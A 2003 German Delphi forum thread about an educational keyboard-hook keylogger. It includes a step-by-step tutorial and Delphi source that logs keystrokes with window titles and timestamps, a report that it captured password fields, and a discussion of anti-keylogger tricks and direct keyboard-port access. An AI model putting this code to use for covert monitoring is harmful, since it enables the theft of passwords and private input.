Delphi-PRAXiS
Seite 1 von 2  1 2      

Delphi-PRAXiS (https://www.delphipraxis.net/forum.php)
-   Software-Projekte der Mitglieder (https://www.delphipraxis.net/26-software-projekte-der-mitglieder/)
-   -   KeyLogger (https://www.delphipraxis.net/7677-keylogger.html)

Luckie 19. Aug 2003 01:14


KeyLogger
 
Aya und ich haben zusammen einen KeyLogger geschrieben. Von ihr stammt die KBHook.dll und von mir die Programmoberfläche. Uns ging es rein um das Prinzip "Wie geht das", nicht mehr und nicht weniger. Es sollte auch deutlich werden, dass wir keine bösen Absichten verfolgen, da nichts auf der Festplatte gespeichert wird oder gar an uns gesendet wird. Desweiteren ist das Programm imme rin der Taskbar sichtbar!

Die Sourcen sollten nur zu Lehrzwecken dienen und wir hoffen, dass die Sourcen nicht für illegale Zwecke mißbraucht werden. Wir haben uns entschieden die Sourcen mit zu veröffentlichen, da wir der Meinung sind, dass wer Sourcecode in dieser Richtung sucht, ihn so oder so finden wird und wenn er nur beim Hook Tutorial von Assarbad landet.

Download: LuckieSpy [29 KB]

daniel-volk 10. Sep 2003 16:51

Re: KeyLogger
 
Und wie verwende ich euren Soure-Code nun? Muss ich irgendwelche Dateien erstellen, bevor ich die .bat-Datei ausführen kann?
Ich hatte eigentlich vor mit eurem Beispiel mehr über die verwendung herauszufinden, aber da fehlen doch einige Files.

Danke für eure Hilfe,
Daniel.

negaH 10. Sep 2003 17:44

Re: KeyLogger
 
Liste der Anhänge anzeigen (Anzahl: 1)
Ich habe ihn mal getestet um von meinem Passwort-Abfrage Program die Eingaben zu spy'en. Leider funktioniert er nicht so richtig, bzw. ich kann die Eingaben nicht filtern.

Das Program setzt bei Eingabe des Passwortes LuckieSpy.exe ausser Gefecht !

Gruß Hagen

Luckie 10. Sep 2003 19:43

Re: KeyLogger
 
Ach du meine Güte. Was passiert den da bei OnEnter von dem Memo? Ist das Absicht oder was ist da los?

nailor 10. Sep 2003 19:58

Re: KeyLogger
 
ich tipp auf keybd_event

negaH 10. Sep 2003 20:30

Re: KeyLogger
 
Zitat:

Ach du meine Güte. Was passiert den da bei OnEnter von dem Memo? Ist das Absicht oder was ist da los?
Beabsichtigt.

Zitat:

ich tipp auf keybd_event
Korrekt. Es ließe sich aber auch direkt der Keyboard Port manipulieren.

Ich wollte damit nur zeigen das man einen Keylogger der auf Keyboard-Hooks basiert "zuschei.en" kann. Die verwendete Komponente dafür habe ich vor 4 Jahren programmiert, als Bestandteil des Delphi Encryption Compendium's.

Ok, man könnte damit immer noch beträchtlich die Wahrscheinlichkeit erhöhen für eine gezielte Brute Force Attacke. Aber der programmtechnische Aufwand ist minimal, ca. 50 Zeilen Source, um damit die meisten Keylogger auszuhebeln. Zusätzlich verhindert der Anti-Keylogger noch das Lesen mit GetWindowText() usw., da die real eingegeben Zeichen garnicht mehr beim Control ankommen sondern intern verschlüsselt gespeichert werden.

Somit relativiert sich die "Gefährlichkeit" den Source des Keyloggers zu veröffentlichen, denn mit wenigen Kniffen kan man sich davor schützen. Der technische/zeitliche Aufwand dafür ist geringer als einen Keylogger zu coden.

Euer Keylogger sollte also entweder als Keyboard Driver programmiert werden, um direkt den Keyboardport auszulesen. Oder er sollte zumindestens keyb_event() des aktiven Prozesses hooken. Dies ist ja weniger ein Problem, da die Keyboardhook DLL schon in die betreffende Prozesse injeziert wurde. Durch den Hook von keyb_event() kann nun der Keylogger zwischen echten Tastenereignissen und simulierten unterscheiden.


Gruß Hagen

Luckie 10. Sep 2003 20:43

Re: KeyLogger
 
Zitat:

Zitat von negaH
Zitat:

Ach du meine Güte. Was passiert den da bei OnEnter von dem Memo? Ist das Absicht oder was ist da los?
Beabsichtigt.

Aaaah. Eigentlich habe ich schon fast mit so einer Gemeinheit deinerseits gerechnet. :wink:

Es bestehen meiner Seits allerding keine Pläne das Ding weiter auszubauen. Die Sourcen zeigen das Prinzip und wer einen perfekten haben will, um damit Schei*e zu bauen, der soll das gefälligts selber programmieren.

Stanlay Hanks 10. Sep 2003 20:53

Re: KeyLogger
 
Hi! Also erstmal, Gratulation euch beiden. :thumb: Ich muss ganz ehrlich sagen, mich hat es etwas erschreckt, dass es, bis jetzt zumindest, alle PW Felder, sowohl bei Word etc als auch im InternetExplorer mitprotokolliert hat. :shock: Da fühl ich mich doch gleich ein kleines Stück mehr beobachtet. :mrgreen: Auf jeden Fall interessant!

Man liest sich, Stanlay :hi:

daniel-volk 10. Sep 2003 21:08

Re: KeyLogger
 
Kann mir mal irgendjemand sagen, wie ich diese DLL (KBHook.dll) ansprechen kann? Ich hab sie (wie in dem Kommentar beschrieben) eingebunden. Aber dabei stehen mir dann nur die Funktionen CreateHook und DeleteHook zur Verfügung.
1.: Was soll ich dabei für "hWnd : HWND" schreiben? Etwa Application.Handle oder so?
2.: Was bringt mir das? Nachdem ich den Hook kreiert habe, kennt mein Prog immer noch nicht mehr oder weniger von dem, was eingegeben wird. :?
Wie auch immer: Wäre nett, wenn mir jemand sagen könnte, was ich wie verändern muss, damit mein Prog dann auf irgendeine Art und Weise die Keys bekommt.

MfG :coder:

Luckie 11. Sep 2003 02:14

Re: KeyLogger
 
Du definierst dir eine Windows Message: WM_KEYBOARD_HOOK = WM_USER + 52012. Bei jedem Tastenanschlag sendet dir die DLL diese Message. Diese fängst du in deiner WndProc ab und im wParam der Message hast du dann das Zeichen drin stehen. Und im lParam steht das Handel des aktiven Fenster, welches gerade den Keyboardfocus hat, also wo gerade die Eingaben statt finden.

daniel-volk 11. Sep 2003 13:55

Re: KeyLogger
 
Danke erst einmal für deine Antwort. Aber ich bin (leider) praktisch nur das Programmieren in Units gewohnt. Dennoch hab ich mal mein Bestes versucht und die (meiner Meinung nach) wichtigen Teile aus Luckie's Projekt in meins gestopft.
Wie schaffe ich es jetzt aber, dass die Sachen auch in meiner Unit1 im Memo-Feld erscheinen? Soll ich dafür einen Timer bauen, der ständig irgendwie die Windows Message WM_KEYBOARD_HOOK abfragt? Oder geht das eleganter?
Zitat:

Diese fängst du in deiner WndProc ab und im wParam der Message hast du dann das Zeichen drin stehen.
Das hört sich irgendwie sehr kompliziert an. Kann mir das mal jemand erklären, wie ich das zu verstehen hab?

Mein Projekt-Quellcode (der viel von Luckie enthält) sieht bis jetzt jedenfalls so aus:
Delphi-Quellcode:
program Project2;

uses
  Forms,
  Unit1 in 'Unit1.pas' {Form1}, windows, messages;

const
  WM_KEYBOARD_HOOK = WM_USER + 52012;
  IDC_EDTLOGGER = 102;

var
  WndTitleOld: string = '';

function CreateHook(hWnd: HWND; ShiftKeys: Boolean): Boolean; stdcall; external 'KBHook.dll';
function DeleteHook: Boolean; stdcall; external 'KBHook.dll';


{$R *.res}

function dlgfunc(hDlg: hWnd; uMsg: dword; wParam: wParam; lParam: lParam): bool;
  stdcall;
var
  MyFont: HFONT;
  s: string;
  TextLength: Integer;
  Buffer: PChar;
  EditText: string;
  WndTitle: array[0..255] of Char;

begin
  result := true;
  case uMsg of
    WM_KEYBOARD_HOOK:
      begin
        TextLength := SendDlgItemMessage(hDlg, IDC_EDTLOGGER, WM_GETTEXTLENGTH,
          0, 0);
        GetMem(Buffer, TextLength + 2);
        try
          SendDlgItemMessage(hDlg, IDC_EDTLOGGER, WM_GETTEXT, TextLength + 2,
            Integer(Buffer));
          case wParam of
            VK_RETURN: EditText := string(Buffer) + #13#10;
            VK_BACK:
              begin
                EditText := string(Buffer);
                Delete(EditText, length(EditText), 1);
              end;
            VK_CONTROL, VK_MENU, VK_SHIFT, VK_CAPITAL: EditText :=
              string(Buffer);
          else
            EditText := string(Buffer) + string(Chr(wParam));
          end;
          GetWindowText(lParam, @WndTitle, SizeOf(WndTitle));
          if WndTitleOld <> string(WndTitle) then
          begin
            Delete(EditText, length(EditText), 1);
            EditText := EditText + #13#10 + '[' + string(WndTitle) + ']' + #13#10
              + string(Chr(wParam));
            WndTitleOld := string(WndTitle);
          end;
          SendDlgItemMessage(hDlg, IDC_EDTLOGGER, WM_SETTEXT, 0,
            Integer(@EditText[1]));
        finally
          FreeMem(Buffer);
        end;
      end;
  else
    result := false;
  end;
end;

begin
  CreateHook(Application.Handle,true);
  Application.Initialize;
  Application.CreateForm(TForm1, Form1);
  Application.Run;
  DeleteHook;
end.
Sorry für die vielen dummen Fragen, aber ich programmiere noch nicht sehr lange und hab daher z.T. Probleme manche überaus komplexen Prozeduren etc zu verstehen :oops:
Aber ich bemühe mich zumindest, alles so gut es geht zu verstehen :mrgreen:

Danke! :bounce2:

Meflin 11. Sep 2003 14:42

Re: KeyLogger
 
Hab da auch mal ne frage:
hab das so gemacht:
Delphi-Quellcode:
procedure Tltblform043.ApplicationEvents1Message(var Msg: tagMSG;
  var Handled: Boolean);
begin
Memo1.Text := Memo1.Text + Chr(Msg.wParam);
end;
da kommt dann so was bei raus:
Code:
ÿÿÿÿÿÿÿÿÿÿHhÿHÿÿAaAÿLlLLlLÿOoOÿÿÿÿÿÿ ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿDdDÿUuUÿÿÿÿÿÿ UuUÿÿUuUÿÿUuUÿÿUuUUuÿUÿÿÿÿÿ ÿÿÿ ÿÿ ÿÿ
wobei ich testhalber A geschrieben habe (am anfang)
das gibt dann Aa als result!
funzt wohl so net ganz?

[edit=sakura]Zeilenumbrüche zugelassen! Mfg, sakura[/edit]

daniel-volk 12. Sep 2003 12:35

Re: KeyLogger
 
Hab das jetzt auch mal mit der WM probiert und genau das erlebt, was auch Meflin hatte. :wall:
Dass das aber kein Fehler der DLL sein kann, das zeigt ja wohl schon Luckie's Prog. Denn da geht es ja schließlich . :?
Vielleicht kann Luckie uns da mal den entscheidenden Tipp geben, was wir falsch machen?! :gruebel:

Und was bringt mir eigentlich der lParam? :roll: Der ändert sich doch auch 10mal in der Sekunde.
MfG.

Ergänzung:
Ich hab gerade festgestellt, dass bei dem benannten Fall keinen Unterschied macht, ob ich nun die Konstante
Delphi-Quellcode:
const
  WM_KEYBOARD_HOOK = WM_USER + 52012;
deklariere oder nicht. Ich vermute deshalb, dass Meflin und ich den Fehler machen, dass wir einfach alle WindowMessages abfragen und nicht nur die Message WM_KEYBOARD_HOOK. Sehe ich das richtig?
Was muss ich machen, um nur diese Message zu erhalten?

THX.

Luckie 12. Sep 2003 12:52

Re: KeyLogger
 
was soll ich da groß sagen? jedes mal wenn eine taste gedrückt wurde schickt die dll an das fenster welches den hook installiert hat ein WM_KEYBOARD_HOOK (was WM_USER + 52012 entspricht). im wparam steht das zeichen und im lparam das handle von dem fenster welches gerade den eingabe focus hat.

du mußt jetzt nur noch deine wndproc überschreiben und zusätzlich WM_KEYBOARD_HOOK abfangen.

Meflin 12. Sep 2003 15:06

Re: KeyLogger
 
die frage ist doch wie man die
keyboard_hook Message abfängt oder?

Luckie 12. Sep 2003 15:09

Re: KeyLogger
 
Nein. Im Moment geht e darum, dass sie es nicht gebacken bekommen die DLL zu nutzen.

Meflin 12. Sep 2003 16:51

Re: KeyLogger
 
auch wenns vielleicht nich die frage ist,
aber ich würd trotzdem gerne wissen,
wie ich an die message bessergesagt an
den inhalt der message komme!

*MFG*

daniel-volk 12. Sep 2003 17:29

Re: KeyLogger
 
@ Meflin:
Nimm mir das bitte nicht über, aber wir sind soooooo doooof! :wall:
Wir arbeiten schon mit dem ApplicationEvent-Manager und wundern uns nur, dass wir neben dem, was wir eigentlich kriegen wollen, auch noch jede Menge Müll kriegen! Aber das Richtige ist doch auch dabei!

@ Luckie:
Warum redest du die ganze Zeit davon, dass wir die WndProc abfangen sollen? Warum so kompliziert?

Eine einfache Erweiterung von Meflin's Prozedur tut's auch:

Delphi-Quellcode:
procedure TForm1.ApplicationEvents1Message(var Msg: tagMSG;
  var Handled: Boolean);
begin
  Case Msg.message of
  WM_KEYBOARD_HOOK : memo1.Text := memo1.Text + Char(Msg.wParam);
  end;
end;
So, jetzt einmal eine genaue Anleitung für alle, die noch nicht wissen, was sie machen sollen:
Erstellt euch zunächst eine einfache Anwendung mit einem Unit. Auf dem Formular erstellt ihr anschließend ein Memo-Feld mit dem Namen Memo1.
Geht der Eigenschaft Scrollbars den Wert ssVertical und achtet darauf, dass die Eigenschaft WordWrap auf True gesetzt ist.

Nun beginnt der Teil, der letztendlich die Keys in das Memo-Feld befördert:
Speichert das Projekt in einem Ordner und kopiert die Dateu KBHook.dll (welche in Luckie's Source enthalten ist) mit in diesen Ordner.
In Delphi folgen ein paar Klicks auf "Projekt" und "Quelltext anzeigen". Im jetzt angezeigten Programmquelltext müssen verschiedene Zeilen hinzugefügt werden:
Zu "uses" muss windows und messages hinzugefügt werden.
Außerdem müssen darunter zwei Funktionen, die den Hook installieren und deinstallieren, deklariert werden:
Delphi-Quellcode:
function CreateHook(hWnd: HWND; ShiftKeys: Boolean): Boolean; stdcall; external 'KBHook.dll';
function DeleteHook: Boolean; stdcall; external 'KBHook.dll';
Zur Installation und Deinstallation wird jetzt direkt unter begin die Zeile
CreateHook(Application.Handle,true);
und über end die Zeile
DeleteHook;
eingefügt.

Der fertige Code sieht dann etwa so aus (die Kommentare kennzeichnen die Teile, die für den eigentlichen Hook wichtig sind):
Delphi-Quellcode:
program Project2;

uses
  Forms,
  Unit1 in 'Unit1.pas' {Form1}, {Begin KeyHook}windows, messages{End KeyHook};

// Begin KeyHook
function CreateHook(hWnd: HWND; ShiftKeys: Boolean): Boolean; stdcall; external 'KBHook.dll';
function DeleteHook: Boolean; stdcall; external 'KBHook.dll';
// End KeyHook

{$R *.res}

begin
  CreateHook(Application.Handle,true);
  Application.Initialize;
  Application.CreateForm(TForm1, Form1);
  Application.Run;
  DeleteHook;
end.
Nun zur Unit:
Zuerst einmal muss aus der Registerkarte "Zusätzlich" die Komponente "ApplicationEvents" hinzugefügt werden.
Erstellt die Prozedur für das "OnMessage"-Ereignis und fügt folgenden Code hinzu:
Delphi-Quellcode:
Case Msg.message of
WM_KEYBOARD_HOOK : memo1.Text := memo1.Text + Char(Msg.wParam);
end;
Dieser Code fügt jetzt einfach die Eingaben dem Memo-Feld hinzu.
Da das natürlich noch nicht sehr viele Infos birgt, sollte man einen etwas reichhaltigeren Code verwenden:
Zunächst müssen zwei normale Variablen deklariert werden:
Delphi-Quellcode:
Fenster_alt : longword;
    Fenster_altstr : string;
Anschließend bekommt dann die OnMessage-Prozedur folgenden Code:
Delphi-Quellcode:
procedure TForm1.ApplicationEvents1Message(var Msg: tagMSG;
  var Handled: Boolean);
var
  FensterText : array[0..255] of Char;
  rem : string;
begin
  Case Msg.message of
  WM_KEYBOARD_HOOK :
    begin
      GetWindowText(Msg.lParam,@FensterText,SizeOf(FensterText));
      If Fenster_alt <> Msg.lParam
      then begin
             If Fenster_alt = 0 then memo1.Text := memo1.Text +'['+FensterText+'] ['+IntToStr(Msg.lParam)+'] '+DateToStr(Date)+' '+TimeToStr(Time)+#13#10
             else memo1.Text := memo1.Text + #13#10#13#10+'['+FensterText+'] ['+IntToStr(Msg.lParam)+'] '+DateToStr(Date)+' '+TimeToStr(Time)+#13#10;
             Fenster_alt := Msg.lParam;
             Fenster_altstr := FensterText;
           end
      else If Fenster_altstr <> Fenstertext
      then begin
             If Fenster_alt = 0 then memo1.Text := memo1.Text +'['+FensterText+'] ['+IntToStr(Msg.lParam)+'] '+DateToStr(Date)+' '+TimeToStr(Time)+#13#10
             else memo1.Text := memo1.Text + #13#10#13#10+'['+FensterText+'] ['+IntToStr(Msg.lParam)+'] '+DateToStr(Date)+' '+TimeToStr(Time)+#13#10;
             Fenster_alt := Msg.lParam;
             Fenster_altstr := Fenstertext;
           end;
      If Msg.wParam = VK_RETURN then memo1.Text := memo1.Text + #13#10
      else If Msg.wParam = VK_BACK
      then begin
             rem := memo1.text;
             If length(rem) > 0 then delete(rem,length(rem)-1,1);
             memo1.Text := rem;
           end
      else memo1.Text := memo1.Text + Char(Msg.wParam);
    end;
  end;
end;
Und das war es auch schon. Jetzt werden zusätzlich noch der Fenstertext, das Handle, das Datum und die Uhrzeit geloggt.
Diese Infos werden immer dann "aufgeschrieben", wenn sich entweder der Fenstertext ändert (zum Beipiel beim Browsen im Web) oder das Handle (neues Fenster, evtl. sogar mit gleichem Text).
Es ist also wichtig, dass sowohl Handle als auch Text geloggt werden, da sich oft nur eines ändert, es dennoch aber wichtig ist, wenn sich z.B. die Website ändert oder das Fenster ein anderes ist, das vielleicht aber zufällig die gleiche Website beinhaltet!

Hier noch der fertige Code der Unit:
Delphi-Quellcode:
unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls, ExtCtrls, AppEvnts;

type
  TForm1 = class(TForm)
    Memo1: TMemo;
    ApplicationEvents1: TApplicationEvents;
    procedure ApplicationEvents1Message(var Msg: tagMSG;
      var Handled: Boolean);
  private
    // Begin KeyHook
    Fenster_alt : longword;
    Fenster_altstr : string;
    // End KeyHook
    { Private-Deklarationen }
  public
    { Public-Deklarationen }
  end;

var
  Form1: TForm1;

// Begin KeyHook
const
  WM_KEYBOARD_HOOK = WM_USER + 52012;
// End KeyHook

implementation

{$R *.dfm}

// Begin KeyHook
procedure TForm1.ApplicationEvents1Message(var Msg: tagMSG;
  var Handled: Boolean);
var
  FensterText : array[0..255] of Char;
  rem : string;
begin
  Case Msg.message of
  WM_KEYBOARD_HOOK :
    begin
      GetWindowText(Msg.lParam,@FensterText,SizeOf(FensterText));
      If Fenster_alt <> Msg.lParam
      then begin
             If Fenster_alt = 0 then memo1.Text := memo1.Text +'['+FensterText+'] ['+IntToStr(Msg.lParam)+'] '+DateToStr(Date)+' '+TimeToStr(Time)+#13#10
             else memo1.Text := memo1.Text + #13#10#13#10+'['+FensterText+'] ['+IntToStr(Msg.lParam)+'] '+DateToStr(Date)+' '+TimeToStr(Time)+#13#10;
             Fenster_alt := Msg.lParam;
             Fenster_altstr := FensterText;
           end
      else If Fenster_altstr <> Fenstertext
      then begin
             If Fenster_alt = 0 then memo1.Text := memo1.Text +'['+FensterText+'] ['+IntToStr(Msg.lParam)+'] '+DateToStr(Date)+' '+TimeToStr(Time)+#13#10
             else memo1.Text := memo1.Text + #13#10#13#10+'['+FensterText+'] ['+IntToStr(Msg.lParam)+'] '+DateToStr(Date)+' '+TimeToStr(Time)+#13#10;
             Fenster_alt := Msg.lParam;
             Fenster_altstr := Fenstertext;
           end;
      If Msg.wParam = VK_RETURN then memo1.Text := memo1.Text + #13#10
      else If Msg.wParam = VK_BACK
      then begin
             rem := memo1.text;
             If length(rem) > 0 then delete(rem,length(rem)-1,1);
             memo1.Text := rem;
           end
      else memo1.Text := memo1.Text + Char(Msg.wParam);
    end;
  end;
end;
// End KeyHook

end.
Ich weiß, dass diese Anleitung vielleicht etwas sehr genau war, aber ich selbst hab mich schon oft über halbe Anleitungen geärgert.
Deshalb kann ich nur sagen: Wer die Anleitung zu genau findet, der muss sie ja nicht lesen!
Allen anderen wünsche ich viel Spaß. Und noch etwas: Es gibt sicherlich viel zu verbessern...
:coder:

MfG. :mrgreen:

Luckie 12. Sep 2003 19:52

Re: KeyLogger
 
Zitat:

Zitat von daniel-volk
@ Meflin:
Nimm mir das bitte nicht über, aber wir sind soooooo doooof! :wall:
Wir arbeiten schon mit dem ApplicationEvent-Manager und wundern uns nur, dass wir neben dem, was wir eigentlich kriegen wollen, auch noch jede Menge Müll kriegen! Aber das Richtige ist doch auch dabei!

@ Luckie:
Warum redest du die ganze Zeit davon, dass wir die WndProc abfangen sollen? Warum so kompliziert?

Weil ich die Komponente nicht benutze. Und was macht der, der sie nicht hat, weil er eine ältere Delphi Version hat? Der kann mit deinem Code nichts anfangen. Und die WndProc überschreiben ist auch nicht mehr Arbeit, es setzt eben nur etwas mehr Verständnis voraus. :roll:

Assarbad 12. Sep 2003 20:36

Re: KeyLogger
 
Eben, Luckie meinte nur "Message abfangen"... und der Methoden gibt es viele. Welche ihr benutzen wollt, steht Euch offen.

Meflin 13. Sep 2003 09:46

Re: KeyLogger
 
das mit dem filtern hab ich auch schon probiert,
ich war dabei nur nicht so erfolgreih wie du!
nur wenn Shift gepresst wird, krieg ich das zeichen:
Code:

muss ich das extra immer rausfiltern oder krieg ich das einfacher weg?

*MFG*

Meflin 13. Sep 2003 10:20

Re: KeyLogger
 
ok, funktioniert ja ganz nett.
aber wieso kommt da nur ein lokaler
hook dabei raus? mein testproggie zeichnet nur keystrokes
aus der eigenen anwendung auf...

Assarbad 13. Sep 2003 13:46

Re: KeyLogger
 
Dann lies dir doch einfach mal mein Hooktutorial durch und beantworte dir die Frage selber.

Meflin 13. Sep 2003 13:48

Re: KeyLogger
 
dein hook tutorial hab ich als allererstes gelesen!
ich hab den hook teil ja auch in eine dll ausgelagert.
aber es funzt trotzdem net!

daniel-volk 13. Sep 2003 15:53

Re: KeyLogger
 
Liste der Anhänge anzeigen (Anzahl: 1)
Für alle die es interessiert:
Hier habt ihr mein Beispiel als Code!

:coder:
MfG.

Assarbad 13. Sep 2003 19:46

Re: KeyLogger
 
Zitat:

Zitat von negaH
Korrekt. Es ließe sich aber auch direkt der Keyboard Port manipulieren.

Hiho, kannst du das näher erklären?

Bei meinen eigenen Versuchen (im Zusammenhang mit ERD_SMSS) brauche ich immer bestimmte Privs, die der Admin nicht standardmäßig hat. Hast du nen Geheimtipp? Öffnen etc alles kein Problem ... aber bei bestimmten Operationen am Device scheitere ich immer an den Privs.

Nachtrag: Einen Symlink auf \Device\KeyboardClass0 müßtest du natürlich auch zuerst anlegen ... sonst läuft da garnix ;) ... zumindest nicht mit Win32-API.

Burning_Chrome 15. Sep 2003 13:17

Re: KeyLogger
 
Hi!

Ich hab mal obige Anleitung von Daniel-Volk (sehr schoen ausgefuehrt!) durchgearbeitet um dem thema etwas naeher zu kommen. hat auch schoen gefunzt, aber...

gibt es eine moeglichkeit auf die dll zu verzichten und trotzdem einen globalen hook zu nutzen? sodass alles in ein einziges programm passt? (ich mag dlls nicht sonderlich :wink: )

wuerde mich ueber anregungen freuen!

Best_Regards
Burning_Chrome

daniel-volk 15. Sep 2003 13:38

Re: KeyLogger
 
@Burning_Chrome:
Das Problem ist, dass deine Application gar nicht alles zu sehen bekommt! Ansonsten könntest du ja auch einfach "KeyPreview" auf true stellen und schon hättest du deinen Hook.
Nur ein ausgelagerter Code in einer DLL ermöglicht es, dass (sobald die DLL geladen ist) alle Keys mit Hilfe einer WindowsMessage an dein Handle geschickt werden. Jetzt kannst du diese WindowsMessage abfangen und findest dann allerlei Infos über die Eingabe:
Der wParam enthält das Zeichen (z.B. 35), das eingegeben wurde und der lParam (z.B. 523847 o.Ä.) das Handle des Fensters, in dem es eingegeben wurde.
Nur auf diese Weise ist es möglich Windows' Befehlsverteilung zu umgehen.

@negaH:
Nicht schlecht. Auch meine Version des KeyLogProgs kann nichts gegen dein Prog ausrichten. Wie hast du das geschafft? Simulierst du Tastenschläge oder was?
Aber leider verwendet deine Technik weder der IE (oder ein anderer Browser; Stichwort: "Onlinebanking") noch Steganos SecuritySuite 5!
Wenn jetzt nicht einmal die Bankingprogramme auf die Idee kommen sowas zu unterbinden, dann ist das doch purer Leichtsinn! :roll:
*unsicherfühl*
Zumindest das Kennwort der WinXP-Anmeldung (auch Screensaver) wird nicht geloggt, aber darauf kann man auch pfeifen, da das mit dem richtigen Toll eh in einer Minute gelöscht werden kann. (Hab ich selbst schon getestet.)

MfG.

Luckie 15. Sep 2003 13:45

Re: KeyLogger
 
@daniel-volk: Fast richtig bzw unvollständing. Der Code muß nicht nur in einer DLL liegen, sondern, genauso wichtig, sonst geht es nämlich nicht, die DLL muß in den Prozessraum der anderen Anwendungen geladen werden. Man spricht dann von "injezieren".

Hier: http://www.luckie-online.de/tutorial...2apituts.shtml findest du ein Hooking Tutorial von Assarbad, da ist das ganze noch mal genau beschrieben.

negaH 15. Sep 2003 16:32

Re: KeyLogger
 
@daniel-volk
Zitat:

Nicht schlecht. Auch meine Version des KeyLogProgs kann nichts gegen dein Prog ausrichten. Simulierst du Tastenschläge oder was?
Korrekt. Entscheidend ist das die Simulator-Funktion die Möglichkeit hat zwischen simulierten und nicht-simulierten Keys zu unterscheiden. D.h. bei meinem Code wäre selbst wenn man ihn debuggt kein sofort sichtbarer Unterschied in der Messageabarbeitung zu finden. Alles funktioniert so wie es bei normalen Edit-Windows funktionieren sollte.
Die Funktionalität des Anti-Keyspyers ist also "angedockt" an ein belieges TWinControl.

Zitat:

Aber leider verwendet deine Technik weder der IE (oder ein anderer Browser; Stichwort: "Onlinebanking") noch Steganos SecuritySuite 5!
Tja, wo "Security" draufsteht muß nicht immer welche drinnen sein.
Steganos ist so weit verbreitet da sie mit einer aggresiven Werbung arbeiten. Gehe mal auf die Suche nach harten Fakten wie Steganos arbeitet. Versuche mal in Erfahrung zu bringen wie Steganos es sicherstellen will das man deren versprochene Sicherheits-Funktionen auch überprüfen kann, bzw. wie das Verfahren nun genau arbeitet !
Lustig ist es das Steganos von Steganographie, also Verstecken von Daten in anderen Daten kommt. Mein Trick arbeitet genau so, ich heisse aber nicht Steganos !

Zitat:

Wenn jetzt nicht einmal die Bankingprogramme auf die Idee kommen sowas zu unterbinden, dann ist das doch purer Leichtsinn!
*unsicherfühl*
tja, ich kann nur sagen das mein Trick mit max. 50 Zeilen Source auskäme. Es ist aber auch nur ein Trick um leichte Geschütze abzuwehren ! D.h. ein richtiger KeyLogger lässt sich mit solchen Techniken nicht aushebeln.
Das die anderen Softwarelösungen solche Techniken nicht anwenden spricht für den fehlenden Wissensstand und das Sicherheitsbewußtsein der Entscheider und Entwickler der Software. Einfacher gesagt: deren Qualität ist schei.e !

Gruß Hagen

Assarbad 15. Sep 2003 16:54

Re: KeyLogger
 
Man moege sich das so vorstellen:

Hagen und Luckie arbeiten mit Techniken auf gleicher Augenhoehe. Wuerde Luckies Keylogger Teil eines Rootkits sein, koennte Hagen sich querlegen oder auf den Kopf stellen ... Luckie kaeme an alle Tastenschlaege ran.

Warum Leute (Scriptkiddies) einen Hook fuer Keylogger haben wollen ist mir nach wie vor ein Raetsel, ich habe meine Beispiele dazu geschrieben, damit ich auf sie verweisen kann sobald mal wieder eine solche Frage kommt. IMO gibt es so langsam aber genug Beispiele in freier Wildbahn, damit auch Scriptkiddies gut genaehrt werden ;) ...

Das mit dem Logon-Bildschirm hatten wir nun auch schon x-mal. Es ist ein anderer Desktop. Deswegen koennen bestimmte Sachen eben nicht ueber diese Barriere hinweg. Wer es unbedingt versuchen moechte, kann ja einen Service schreiben. Aber ich vermute, dass das Ergebnis das gleiche bleiben wird.

flomei 15. Sep 2003 16:56

Re: KeyLogger
 
:gruebel: Ich hab mir das Ding auch mal runtergeladen um es mal zu testen. Und ich hab da auch ein kleines Problem:
Zitat:

Test ABC 123
Daraus macht dein Programm:
Zitat:

[Delphi-PRAXis :: Antwort schreiben - Mozilla Firebird]
TTeesstt AABBCC 112233
Woran liegt das???
Bis auf diesen kleinen Bug :roll: ist es wirklich ein Top-Programm! Großes Lob an Aya und dich! :thuimb:

MfG Florian :hi:

[EDIT]
Zitat:

Zitat von Assa
...damit auch Scriptkiddies gut genaehrt werden...

:lol: :mrgreen: :thuimb:
[/EDIT]

[EDIT 2] Warum funktioniert eigentlich kein C&P??? [/EDIT 2]

Assarbad 15. Sep 2003 17:11

Re: KeyLogger
 
Dies ist kein Bug. Man muss nur zwischen Keyup und Keydown filtern ... dann haste kein Doppler mehr drin. Das Beispiel bei meinem Hooktut hat dazu sogar einen Viewer, welcher die Logdatei mit solchen sinistren Details anzeigt.

daniel-volk 15. Sep 2003 17:15

Re: KeyLogger
 
Das Problem kann auch sein, dass du das Prog zweimal geöffnet hast. Dann ist nämlich auch die DLL doppelt geladen und schon gibt's immer zwei Events!

Assarbad 15. Sep 2003 17:32

Re: KeyLogger
 
... was man mit einem Mutex oder aehnlichem ja leicht unterbinden koennte ;)

Burning_Chrome 16. Sep 2003 10:33

Re: KeyLogger
 
Hi!

@Assarbad: Also ich brauche die funktion fuer folgendes projekt:

ein kleines programm laeuft im hintergrund und wartet auf einen hotkey. nach druck des hotkeys werden die nachfolgenden tastendrucke mitprotokolliert bis der hotkey wieder gedrueckt wird. nun wird noch der naechste tastendruck ermittelt der dann als zusaetzlicher hotkey fuer die eingegebene tastenkombination gueltig ist. drueckt man nun diesen neuen hotkey so wird die aufgezeichnete tastenfolge simuliert an das programm geschickt das bei der aufnahme aktiv war.

sinn ist, fuer laufende programme tastaturmakros in echtzeit und abhaengig vom laufenden prozess eingeben und abarbeiten zu koennen.

Best_Regards
Burning_Chrome

Luckie 16. Sep 2003 16:34

Re: KeyLogger
 
Könntet ihr bitte für alles, was nicht den Keylogger betrifft einen neuen Thread machen? das wird hier sonst etwas zu offtopic.

Motzi 9. Okt 2003 12:25

Re: KeyLogger
 
@Hagen: mit einem LowLevel-KeyboardHook kann man zwischen Tastaturanschlägen die vom Tastaturtreiber kommen und jenen die per keybd_event simuliert wurden unterscheiden... durch direktes ansprechen des Tastaturportes könnte man diese Filterung aber auch wieder umgehen oder? Was mich jetzt aber interessieren würde.. wie manipulierst du den Tastaturport?

negaH 9. Okt 2003 14:11

Re: KeyLogger
 
Zitat:

Was mich jetzt aber interessieren würde.. wie manipulierst du den Tastaturport?
Über die Programmierung des Tastaturports per Assembler.
Entweder ein eigener Treiber oder in Win9x über Ring0 Code oder in Win2k über GiveIO um die Zugriffsrechte zu erlangen um mit Ports zu arbeiten.

Gruß Hagen

Motzi 9. Okt 2003 16:08

Re: KeyLogger
 
Ok, Treiber ist klar, aber was meinst du mit
Zitat:

über GiveIO um die Zugriffsrechte zu erlangen um mit Ports zu arbeiten
??


Alle Zeitangaben in WEZ +1. Es ist jetzt 11:13 Uhr.
